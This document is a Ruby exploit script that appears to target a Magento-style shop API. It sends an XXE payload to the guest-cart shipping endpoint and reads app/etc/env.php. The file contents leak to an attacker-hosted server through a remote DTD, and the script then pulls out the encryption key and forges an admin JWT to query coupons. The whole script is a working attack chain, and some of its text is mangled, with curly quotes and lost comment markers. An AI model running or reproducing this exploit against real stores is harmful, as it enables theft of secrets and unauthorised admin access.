#!/usr/bin/env ruby -W0

require ‘bundler’
Bundler.require(:default)

DEBUG = false
USE_PROXY = false
PROXY_ADDR = ‘127.0.0.1’
PROXY_PORT = 8080

def debug(msg)
puts msg.inspect if DEBUG
end

def rand_text(length = 8)

random string generator

o = [(‘a’…’z’), (‘A’…’Z’)].map(&:to_a).flatten
(0…length).map { o[rand(o.length)] }.join
end

def dtd_param_name
@dtd_param_name ||= rand_text()
end

def ent_eval
@ent_eval ||= rand_text()
end

def leak_param_name
@leak_param_name ||= rand_text()
end

def remote_addr
@remote_addr ||= “http://#{@srv_host.host}:#{@srv_host.port}”
end

def http
@http ||= begin
http = if USE_PROXY
Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT)
else
Net::HTTP.new(@target_uri.host, @target_uri.port)
end

if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*})  
  http.use_ssl = true  
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE  
end

http.set_debug_output($stderr) if DEBUG  
http  

end
end

def make_xxe_dtd
filter_path = ‘php://filter/convert.base64-encode/resource=…/app/etc/env.php’
ent_file = rand_text()
%(
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};’>">
)
end

def xxe_xml_data()
param_entity_name = rand_text()

xml = “<?xml version=’1.0’ ?>”
xml += “<!DOCTYPE #{rand_text()}”
xml += '['
xml += " <!ELEMENT #{rand_text()} ANY >"
xml += " <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd’> %#{param_entity_name}; %#{dtd_param_name}; "
xml += ']'
xml += “> <r>&#{ent_eval};</r>”

xml
end

LIBXML_NOENT = 2
LIBXML_PARSEHUGE = 524288

def xxe_request()
debug(‘Sending XXE request’)

signature = rand_text().capitalize

post_data = {
"address": {
"#{signature}": rand_text(),
"totalsCollector": {
"collectorList": {
"totalCollector": {
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
"data": xxe_xml_data(),
"options": LIBXML_NOENT|LIBXML_PARSEHUGE
}
}
}
}
}
}.to_json
req = Net::HTTP::Post.new(‘/rest/V1/guest-carts/1/estimate-shipping-methods’)
req.body = post_data
req.content_type = ‘application/json’

req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)'

res = http.request(req)

raise RuntimeError, “Server returned unexpected response” unless res&.code == ‘400’

body = JSON.parse(res.body)

raise RuntimeError, “Server returned unexpected response” unless body[‘parameters’][‘fieldName’] == signature

end

TARGET_USER_ID = 1

USER_TYPE_INTEGRATION = 1;
USER_TYPE_ADMIN = 2;
USER_TYPE_CUSTOMER = 3;
USER_TYPE_GUEST = 4;

def jwt_encode(key, algorithm = ‘HS256’)
def pad_key(key, total_length, pad_char)
left_padding = (total_length - key.length) / 2
right_padding = total_length - key.length - left_padding
pad_char * left_padding + key + pad_char * right_padding
end
header = {
kid: "1",
alg: “HS256”
}

payload = {
uid: TARGET_USER_ID,
utypid: USER_TYPE_ADMIN,
iat: Time.now.to_i, # Token issue time’,
exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time
}

def base64_url_encode(str)
Base64.urlsafe_encode64(str).tr('=’, ‘’)
end

padded_key = pad_key(key, 2048, ‘&’)

encoded_header = base64_url_encode(header.to_json)
encoded_payload = base64_url_encode(payload.to_json)

Create the signature

data = “#{encoded_header}.#{encoded_payload}”
signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new(‘sha256’), padded_key, data)
encoded_signature = base64_url_encode(signature)

Combine the header, payload, and signature to form the JWT

“#{encoded_header}.#{encoded_payload}.#{encoded_signature}”

end

def exploit()
begin
puts “Starting web server…”
body = make_xxe_dtd()
file_content = nil
file_content_reader, file_content_writer = IO.pipe
WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240)
wbserver_options = {
:BindAddress => '0.0.0.0’,
:Port => @srv_host.port,
:Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG),
:AccessLog => [],
# :RequestTimeout => 300, # Increase request timeout
# :RequestMaxUriLength => 100240 # Increase max URI length
}
wbserver_options[:Logger] = WEBrick::Log.new(“/dev/null”) unless DEBUG

pid = Process.fork do  
  file_content_reader.close

  server = WEBrick::HTTPServer.new(wbserver_options)  
  server.mount_proc '/' do |req, res|  
    if req.path =~ /\.dtd$/  
      res.body = body  
    elsif req.query_string.match(/#{leak_param_name}=(.*)/)  
      file_content = Base64.decode64(Regexp.last_match(1))  
      # puts "Received leaked file content:\n#{file_content}"  
      file_content_writer.puts file_content

    else  
      res.body = 'OK'  
    end  
  end

  trap("INT") do  
    server.shutdown  
    file_content_writer.close  
  end

  server.start  
end

sleep(1)  
xxe_request()  
file_content_writer.close

begin  
  # Set a timeout for reading from the pipe  
  Timeout.timeout(5) do  # 5 seconds timeout, adjust as necessary  
    file_content = file_content_reader.read_nonblock(10000)  # Adjust the size as necessary  
  end  
rescue Timeout::Error  
  puts "Reading from pipe timed out."  
rescue EOFError  
  puts "End of file reached."  
ensure  
  file_content_reader.close  
end

# Use file_content as needed here  
if file_content  
  # puts "Successfully read file content:\n#{file_content}"  
  key = file_content.match(/'key' => '(.*)'/)[1]  
  if key  
    debug "Found key: #{key}"  
    jwt = jwt_encode(key)  
    puts "Generated JWT: #{jwt}"  
    puts("Sending request with JWT to coupons endpoint")  
    # Perform authenticated request to a admin endpoint  
    res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"}))  
    raise RuntimeError, "Server returned unexpected response" unless res&.code == '200'  
    puts "Available coupons:"  
    puts JSON.pretty_generate(JSON.parse(res.body))  
  else  
    puts "Failed to extract key from file content."  
  end  
else  
  puts "Failed to read file content or content is empty."  
end

puts "Exploit completed"

rescue RuntimeError => e
puts “#{e.class} - #{e.message}”
ensure
if pid
Process.kill("INT", pid)
Process.wait(pid)
end
end
end

if FILE == $0
@target_uri = URI.parse(ARGV[0])
@srv_host = URI.parse(ARGV[1])

exploit()
end